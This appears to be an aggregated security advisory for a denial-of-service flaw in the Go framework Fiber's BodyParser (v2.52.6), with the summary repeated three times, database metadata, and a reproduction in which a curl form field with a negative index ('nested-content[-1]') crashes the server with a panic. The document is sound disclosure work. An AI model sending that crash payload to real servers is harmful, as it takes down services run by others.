Fiber is an Express-inspired web framework written in Go. Starting in version 2.52.6 and prior to version 2.52.7, `fiber.Ctx.BodyParser` can map flat data to nested slices using `key[idx]value` syntax, but when idx is negative, it causes a panic instead of returning an error stating it cannot process the data. Since this data is user-provided, this could lead to denial of service for anyone relying on this `fiber.Ctx.BodyParser` functionality. Version 2.52.7 fixes the issue.
Fiber is an Express-inspired web framework written in Go. Starting in version 2.52.6 and prior to version 2.52.7, `fiber.Ctx.BodyParser` can map flat data to nested slices using `key[idx]value` syntax, but when idx is negative, it causes a panic instead of returning an error stating it cannot process the data. Since this data is user-provided, this could lead to denial of service for anyone relying on this `fiber.Ctx.BodyParser` functionality. Version 2.52.7 fixes the issue.
Fiber is an Express-inspired web framework written in Go. Starting in version 2.52.6 and prior to version 2.52.7, `fiber.Ctx.BodyParser` can map flat data to nested slices using `key[idx]value` syntax, but when idx is negative, it causes a panic instead of returning an error stating it cannot process the data. Since this data is user-provided, this could lead to denial of service for anyone relying on this `fiber.Ctx.BodyParser` functionality. Version 2.52.7 fixes the issue.
### Summary
When using the `fiber.Ctx.BodyParser` to parse into a struct with range values, a panic occurs when trying to parse a negative range index
### Details
`fiber.Ctx.BodyParser` can map flat data to nested slices using `key[idx]value` syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data.
Since this data is user-provided, this could lead to denial of service for anyone relying on this `fiber.Ctx.BodyParser` functionality
### Reproducing
Take a simple GoFiberV2 server which returns a JSON encoded version of the FormData
```go
package main
import (
"encoding/json"
"fmt"
"net/http"
"github.com/gofiber/fiber/v2"
)
type RequestBody struct {
NestedContent []*struct {
Value string `form:"value"`
} `form:"nested-content"`
}
func main() {
app := fiber.New()
app.Post("/", func(c *fiber.Ctx) error {
formData := RequestBody{}
if err := c.BodyParser(&formData); err != nil {
fmt.Println(err)
return c.SendStatus(http.StatusUnprocessableEntity)
}
c.Set("Content-Type", "application/json")
s, _ := json.Marshal(formData)
return c.SendString(string(s))
})
fmt.Println(app.Listen(":3000"))
}
```
**Correct Behaviour**
Send a valid request such as:
```bash
curl --location 'localhost:3000' \
--form 'nested-content[0].value="Foo"' \
--form 'nested-content[1].value="Bar"'
```
You recieve valid JSON
```json
{"NestedContent":[{"Value":"Foo"},{"Value":"Bar"}]}
```
**Crashing behaviour**
Send an invalid request such as:
```bash
curl --location 'localhost:3000' \
--form 'nested-content[-1].value="Foo"'
```
The server panics and crashes
```
panic: reflect: slice index out of range
goroutine 8 [running]:
reflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?)
/usr/lib/go-1.24/src/reflect/value.go:1418 +0x167
github.com/gofiber/fiber/v2/internal/schema.(*Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...})
[...]
```
### Impact
Anyone using `fiber.Ctx.BodyParser` can/will have their servers crashed when an invalid payload is sent
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: May 22, 2025, 5:25:18 PM
dateUpdated: May 22, 2025, 5:59:02 PM
1 related source bulletins · separate from aliases
openSUSE-SU-2025:15179-1: govulncheck-vulndb-0.0.20250527T204717-1.1 on GA media
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-129
Original publisher date fields
published: 2025-05-22T18:15:43.310
lastModified: 2026-06-17T09:29:06.793
1 source CPE criteria · context only
cpe:2.3:a:gofiber:fiber:*:*:*:*:*:go:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.